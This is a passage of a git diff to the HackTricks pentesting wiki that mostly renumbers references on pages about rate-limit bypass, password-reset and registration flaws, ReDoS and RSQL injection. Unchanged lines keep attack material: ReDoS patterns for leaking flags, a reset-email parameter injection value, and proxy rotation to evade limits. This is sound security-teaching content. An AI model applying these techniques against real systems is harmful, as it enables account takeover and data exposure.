[6] [Beyond the limit: Expanding single-packet race condition with first sequence sync](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) +- [7] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [8] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [9] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) +- [10] [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex) +- [11] [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/) +- [12] [Racing and Fuzzing HTTP/3: Open-sourcing QuicDraw(H3)](https://www.cyberark.com/resources/threat-research-blog/racing-and-fuzzing-http-3-open-sourcing-quicdraw) +- [13] [Allow to enable lock for order placement · Issue #7325](https://github.com/nopSolutions/nopCommerce/issues/7325) +- [14] [What's new in Burp Suite Professional: A year of innovation](https://portswigger.net/blog/whats-new-in-burp-suite-professional-a-year-of-innovation) +- [15] [Race condition vulnerability found in bug bounty program](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index a2f7e007bce..fffa44debee 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -52,13 +52,13 @@ If the target system applies rate limits on a per-account or per-session basis, ### Keep Trying -Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received. +Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[5]](#references) --- ### Abusing HTTP/2 multiplexing & request pipelining (2023-2025) -Modern rate–limiter implementations frequently count **TCP connections** (or even individual HTTP/1.1 requests) instead of the *number of HTTP/2 streams* a connection contains. When the same TLS connection is reused, an attacker can open hundreds of parallel streams, each carrying a separate request, while the gateway only deducts *one* request from the quota. +Modern rate–limiter implementations frequently count **TCP connections** (or even individual HTTP/1.1 requests) instead of the *number of HTTP/2 streams* a connection contains. When the same TLS connection is reused, an attacker can open hundreds of parallel streams, each carrying a separate request, while the gateway only deducts *one* request from the quota.[[2]](#references) ```bash # Send 100 POST requests in a single HTTP/2 connection with curl @@ -86,7 +86,7 @@ mutation bruteForceOTP { Look at the response: exactly one alias will return 200 OK when the correct code is hit, while the others are rate-limited. -The technique was popularised by PortSwigger’s research on “GraphQL batching & aliases” in 2023 and has been responsible for many recent bug-bounty payouts. +The technique was popularised by PortSwigger’s research on “GraphQL batching & aliases” in 2023 and has been responsible for many recent bug-bounty payouts.[[1]](#references) ### Abuse of *batch* or *bulk* REST endpoints @@ -112,7 +112,7 @@ This simple optimisation can more than double your throughput without touching a ### Upgrading to WebSockets / gRPC streaming after the handshake -Many edge rate-limiters only inspect the **initial HTTP request**. Once the connection is upgraded to WebSocket (HTTP 101) or gRPC bidirectional streaming, subsequent messages often bypass request-per-second counters because they are no longer separate HTTP requests. Cloudflare’s own docs note that only the initial upgrade request is subject to WAF/rate-limiting rules; frames sent afterwards are opaque. +Many edge rate-limiters only inspect the **initial HTTP request**. Once the connection is upgraded to WebSocket (HTTP 101) or gRPC bidirectional streaming, subsequent messages often bypass request-per-second counters because they are no longer separate HTTP requests. Cloudflare’s own docs note that only the initial upgrade request is subject to WAF/rate-limiting rules; frames sent afterwards are opaque.[[3]](#references) Practical workflow: @@ -132,7 +132,7 @@ If the login/OTP endpoint exposes both HTTP and WebSocket/gRPC variants, establi ### Exploiting CDN PoP‑sharded counters -Some CDNs shard rate-limit counters **per data center/PoP instead of globally**. Cloudflare explicitly states counters are not shared across data centers. By routing requests through egress nodes in many regions (residential proxy pools, anycast VPNs, or cloud VMs pinned to different continents), you multiply the allowed throughput: every PoP maintains an independent bucket for the same key. +Some CDNs shard rate-limit counters **per data center/PoP instead of globally**. Cloudflare explicitly states counters are not shared across data centers. By routing requests through egress nodes in many regions (residential proxy pools, anycast VPNs, or cloud VMs pinned to different continents), you multiply the allowed throughput: every PoP maintains an independent bucket for the same key.[[4]](#references) Quick and dirty layout using open proxies (example with `proxychains` + a country‑rotating list): @@ -156,9 +156,10 @@ Make sure the limiter key is not per-account; otherwise also rotate user IDs / s ## References -- [PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023)](https://portswigger.net/research/graphql-authorization-bypass) -- [PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (connection-based throttling) (2024)](https://portswigger.net/research/http2) -- [Cloudflare Docs – WebSockets & WAF applicability (2025)](https://developers.cloudflare.com/network/websockets/) -- [Cloudflare Docs – Request rate calculation and PoP-local counters (2025)](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/) +- [1] [PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023)](https://portswigger.net/research/graphql-authorization-bypass) +- [2] [PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (connection-based throttling) (2024)](https://portswigger.net/research/http2) +- [3] [Cloudflare Docs – WebSockets & WAF applicability (2025)](https://developers.cloudflare.com/network/websockets/) +- [4] [Cloudflare Docs – Request rate calculation and PoP-local counters (2025)](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/) +- [5] [The $2,200 ATO Most Bug Hunters Overlooked by Closing Intruder Too Soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index a473c0bfdc2..6bd72b28937 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -75,7 +75,7 @@ captcha-bypass.md ### Contact-discovery / identifier-enumeration oracles -Phone-number–centric messengers expose a **presence oracle** whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered **>100M lookups per hour**, enabling near-complete account enumerations. +Phone-number–centric messengers expose a **presence oracle** whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered **>100M lookups per hour**, enabling near-complete account enumerations.[[4]](#references) **Attack workflow** @@ -204,7 +204,7 @@ Practical tips - pending email/phone change capabilities are cancelled, - previously linked IdPs/emails/phones are re‑verified. -Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end). +Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).[[2]](#references) {{#ref}} reset-password.md @@ -340,7 +340,7 @@ hacking-jwt-json-web-tokens.md ## Registration-as-Reset (Upsert on Existing Email) -Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth. +Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.[[1]](#references) - Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch. - Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected. @@ -364,9 +364,9 @@ Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verif ## References -- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) -- [Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/) -- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) -- [Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)](https://github.com/sbaresearch/whatsapp-census) +- [1] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) +- [2] [Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/) +- [3] [SalmonSec – Account Takeover cheatsheet](https://salmonsec.com/cheatsheet/account_takeover) +- [4] [Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)](https://github.com/sbaresearch/whatsapp-census) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/regular-expression-denial-of-service-redos.md b/src/pentesting-web/regular-expression-denial-of-service-redos.md index 15bccf507f0..c957d128039 100644 --- a/src/pentesting-web/regular-expression-denial-of-service-redos.md +++ b/src/pentesting-web/regular-expression-denial-of-service-redos.md @@ -8,12 +8,12 @@ A **Regular Expression Denial of Service (ReDoS)** happens when someone takes ad ## The Problematic Regex Naïve Algorithm -**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** +**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**[[1]](#references) ### Engine behavior and exploitability - Most popular engines (PCRE, Java `java.util.regex`, Python `re`, JavaScript `RegExp`) use a **backtracking** VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking. -- Some engines/libraries are designed to be **ReDoS-resilient** by construction (no backtracking), e.g. **RE2** and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details. +- Some engines/libraries are designed to be **ReDoS-resilient** by construction (no backtracking), e.g. **RE2** and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.[[5]](#references)[[6]](#references) ## Evil Regexes @@ -59,10 +59,10 @@ for n in [2**k for k in range(8, 15)]: In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**: -- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=)((.*)*)*salt$` +- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=)((.*)*)*salt$`[[2]](#references) - Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` -- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`(((((((.*)*)*)*)*)*)*)!` -- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$` +- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`(((((((.*)*)*)*)*)*)*)!`[[3]](#references) +- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`[[4]](#references) ### ReDoS Controlling Input and Regex @@ -122,11 +122,11 @@ Regexp (a+)*$ took 723 milliseconds. ## References -- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) -- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) -- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) -- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869) -- SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS) — [https://arxiv.org/abs/2406.11618](https://arxiv.org/abs/2406.11618) -- Why RE2 (linear‑time regex engine) — [https://github.com/google/re2/wiki/WhyRE2](https://github.com/google/re2/wiki/WhyRE2) +- [1] [OWASP – Regular expression Denial of Service - ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) +- [2] [PortSwigger Daily Swig – Blind regex injection: theoretical exploit offers new way to force web apps to spill secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) +- [3] [Created-CTF-Challenges – TacoMaker @ DEKRA CTF 2022 solver](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) +- [4] [CTFtime writeup 25869 – ReDoS flag exfiltration](https://ctftime.org/writeup/25869) +- [5] [SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS)](https://arxiv.org/abs/2406.11618) +- [6] [Why RE2 (linear‑time regex engine)](https://github.com/google/re2/wiki/WhyRE2) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 15652f610d3..b8ede368aac 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -4,17 +4,13 @@ ## **Password Reset Token Leak Via Referrer** -- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset. +- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.[[6]](#references)[[7]](#references)[[8]](#references) - **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks. - **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties. -- **References**: - - [HackerOne Report 342693](https://hackerone.com/reports/342693) - - [HackerOne Report 272379](https://hackerone.com/reports/272379) - - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Password Reset Poisoning** -- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site. +- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.[[9]](#references) - **Impact**: Leads to potential account takeover by leaking reset tokens to attackers. - **Exploitation tips**: - Test not only `Host`, but also override headers such as `X-Forwarded-Host`, `Forwarded`, `X-Host`, and `X-Original-Host`. Reverse proxies and middleware sometimes build the reset URL from those values instead of from the canonical host. @@ -24,12 +20,10 @@ - Validate the Host header against a whitelist of allowed domains. - Use secure, server-side methods to generate absolute URLs. - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`. -- **References**: - - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Password Reset By Manipulating Email Parameter** -Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link. +Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.[[4]](#references)[[10]](#references)[[11]](#references)[[12]](#references) - Add attacker email as second parameter using & @@ -111,14 +105,10 @@ email[]=victim@mail.tld&email[]=attacker@mail.tld - Properly parse and validate email parameters server-side. - Reject arrays / repeated parameters when a single recipient is expected. - Cast the final recipient to a string before passing it to the mailer and re-validate after any normalization step. -- **References**: - - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) ## **Changing Email And Password of any User through API Parameters** -- Attackers can modify email and password parameters in API requests to change account credentials. +- Attackers can modify email and password parameters in API requests to change account credentials.[[13]](#references) ```php POST /api/changepass @@ -129,17 +119,13 @@ POST /api/changepass - **Mitigation Steps**: - Ensure strict parameter validation and authentication checks. - Implement robust logging and monitoring to detect and respond to suspicious activities. -- **Reference**: - - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **No Rate Limiting: Email Bombing** -- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails. +- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.[[14]](#references) - **Mitigation Steps**: - Implement rate limiting based on IP address or user account. - Use CAPTCHA challenges to prevent automated abuse. -- **References**: - - [HackerOne Report 280534](https://hackerone.com/reports/280534) ## **Find out How Password Reset Token is Generated** @@ -175,12 +161,10 @@ uuid-insecurities.md ## **Response Manipulation: Replace Bad Response With Good One** -- Manipulating HTTP responses to bypass error messages or restrictions. +- Manipulating HTTP responses to bypass error messages or restrictions.[[15]](#references) - **Mitigation Steps**: - Implement server-side checks to ensure response integrity. - Use secure communication channels like HTTPS to prevent man-in-the-middle attacks. -- **Reference**: - - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Using Expired Token** @@ -210,7 +194,7 @@ uuid-insecurities.md ## **Try Using Your Token** -- Testing if an attacker's reset token can be used in conjunction with the victim's email. +- Testing if an attacker's reset token can be used in conjunction with the victim's email.[[1]](#references) - This usually appears when the application validates the token and the target account independently. Typical vulnerable patterns: - Step 1 (`/forgot-password`) issues a token tied to the attacker account. - Step 2 (`/reset-password`) accepts both `token` and `email` / `userId` / `username` from the client. @@ -225,7 +209,7 @@ uuid-insecurities.md ## **Password Reset Token Disclosure in API Responses** -- Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint. +- Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint.[[5]](#references) - This is usually an immediate ATO: trigger a reset for the victim, capture the token from the API response, then call the final reset endpoint without mailbox access. - Also inspect GraphQL responses, mobile APIs, websocket notifications, batch endpoints, and verbose error messages for leaked token values or token expiry metadata. @@ -339,7 +323,7 @@ Content-Type: application/json ## Arbitrary password reset via skipOldPwdCheck (pre-auth) -Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth. +Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.[[2]](#references) Vulnerable pattern (PHP): @@ -379,7 +363,7 @@ Mitigations: ## Registration-as-Password-Reset (Upsert on Existing Email) -Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover. +Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.[[3]](#references) Pre-auth ATO PoC (overwriting an existing user's password): @@ -394,9 +378,20 @@ Content-Type: application/json ## References -- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) -- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) -- [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/) -- [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph) +- [1] [10 Password Reset flaws](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) +- [2] [vTenext 25.02 - A three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [3] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) +- [4] [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/) +- [5] [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph) +- [6] [HackerOne Report 342693](https://hackerone.com/reports/342693) +- [7] [HackerOne Report 272379](https://hackerone.com/reports/272379) +- [8] [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) +- [9] [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) +- [10] [readme.com Account Takeover - Bug Bounty Full Disclosure](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) +- [11] [How I was able to earn $1000 with just 10 minutes of Bug Bounty](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) +- [12] [HusseiN98D - Password reset email parameter injection](https://twitter.com/HusseiN98D/status/1254888748216655872) +- [13] [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) +- [14] [HackerOne Report 280534](https://hackerone.com/reports/280534) +- [15] [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/reverse-tab-nabbing.md b/src/pentesting-web/reverse-tab-nabbing.md index 860b0c2fa30..4acf0d7ca10 100644 --- a/src/pentesting-web/reverse-tab-nabbing.md +++ b/src/pentesting-web/reverse-tab-nabbing.md @@ -62,7 +62,7 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link ### Accessible properties -In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following: +In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following:[[1]](#references) - **`opener.closed`**: This property is accessed to determine if a window has been closed, returning a boolean value. - **`opener.frames`**: This property provides access to all iframe elements within the current window. @@ -80,7 +80,7 @@ Prevention information are documented into the [HTML5 Cheat Sheet](https://cheat ## References -- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) +- [1] [OWASP - Reverse Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/rsql-injection.md b/src/pentesting-web/rsql-injection.md index f3a5129ac57..490d677b7b9 100644 --- a/src/pentesting-web/rsql-injection.md +++ b/src/pentesting-web/rsql-injection.md @@ -3,10 +3,10 @@ {{#include ../banners/hacktricks-training.md}} ## What is RSQL? -RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching. +RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching.[[1]](#references) ## Overview -RSQL Injection is a vulnerability in web applications that use RSQL as a query language in RESTful APIs. Similar to [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) and [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), this vulnerability occurs when RSQL filters are not properly sanitized, allowing an attacker to inject malicious queries to access, modify or delete data without authorization. +RSQL Injection is a vulnerability in web applications that use RSQL as a query language in RESTful APIs. Similar to [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) and [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), this vulnerability occurs when RSQL filters are not properly sanitized, allowing an attacker to inject malicious queries to access, modify or delete data without authorization.[[1]](#references) ## How does it work? RSQL allows you to build advanced queries in RESTful APIs, for example: @@ -47,7 +47,7 @@ Or even take advantage to extract sensitive information with Boolean queries or | `>=` & `=ge=` | Performs a **equal** to or **greater than** query. Returns all rows from *myTable* where values in *columnA* are equal to or greater than *queryValue* | `/api/v2/myTable?q=columnA>=queryValue`
`/api/v2/myTable?q=columnA=ge=queryValue` | | `=rng=` | Performs a **from to** query. Returns all rows from *myTable* where values in *columnA* are equal or greater than the *fromValue*, and lesser than or equal to the *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | -**Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications. +**Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications.[[3]](#references) #### Examples - name=="Kill Bill";year=gt=2003 @@ -59,7 +59,7 @@ Or even take advantage to extract sensitive information with Boolean queries or - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino -**Note**: Table based on information from [**rsql-parser**](https://github.com/jirutka/rsql-parser) application. +**Note**: Table based on information from [**rsql-parser**](https://github.com/jirutka/rsql-parser) application.[[3]](#references) ## Common filters These filters help refine queries in APIs: @@ -86,7 +86,7 @@ These parameters help optimize API responses: | `search` | Performs a more flexible search | `/api/v2/posts?search=technology` | ## Information leakage and enumeration of users -The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database: +The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:[[2]](#references) ### Request ``` GET /api/registrations HTTP/1.1 @@ -208,7 +208,7 @@ Access-Control-Allow-Origin: * } ``` ## Authorization evasion -In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database: +In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database:[[2]](#references) ### Request ``` GET /api/users HTTP/1.1 @@ -315,7 +315,7 @@ Access-Control-Allow-Origin: * ``` ## Privilege Escalation -It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges: +It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges:[[2]](#references) ### Request ``` GET /api/companyUsers?include=role HTTP/1.1 @@ -469,7 +469,7 @@ Access-Control-Allow-Origin: * ## Impersonate or Insecure Direct Object References (IDOR) -In addition to the use of the `filter` parameter, it is possible to use other parameters such as `include` which allows to include in the result certain parameters (e.g. language, country, password...). +In addition to the use of the `filter` parameter, it is possible to use other parameters such as `include` which allows to include in the result certain parameters (e.g. language, country, password...).[[2]](#references) In the following example, the information of our user profile is shown: ### Request @@ -593,15 +593,15 @@ Access-Control-Allow-Origin: * - Range/proximity leaks: `filter[users]=createdAt=rng=(2024-01-01,2025-01-01)` quickly enumerates by year without knowing exact IDs. ## Framework-specific abuse (Elide / JPA Specification / JSON:API) -- `rsql-parser` only parses the grammar and explicitly supports custom operators. If you see non-standard operators such as `=like=`, `=ilike=`, `=all=` or `=notAssigned=`, focus your review on the translation layer because that is where unsafe string concatenation usually appears. -- Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because 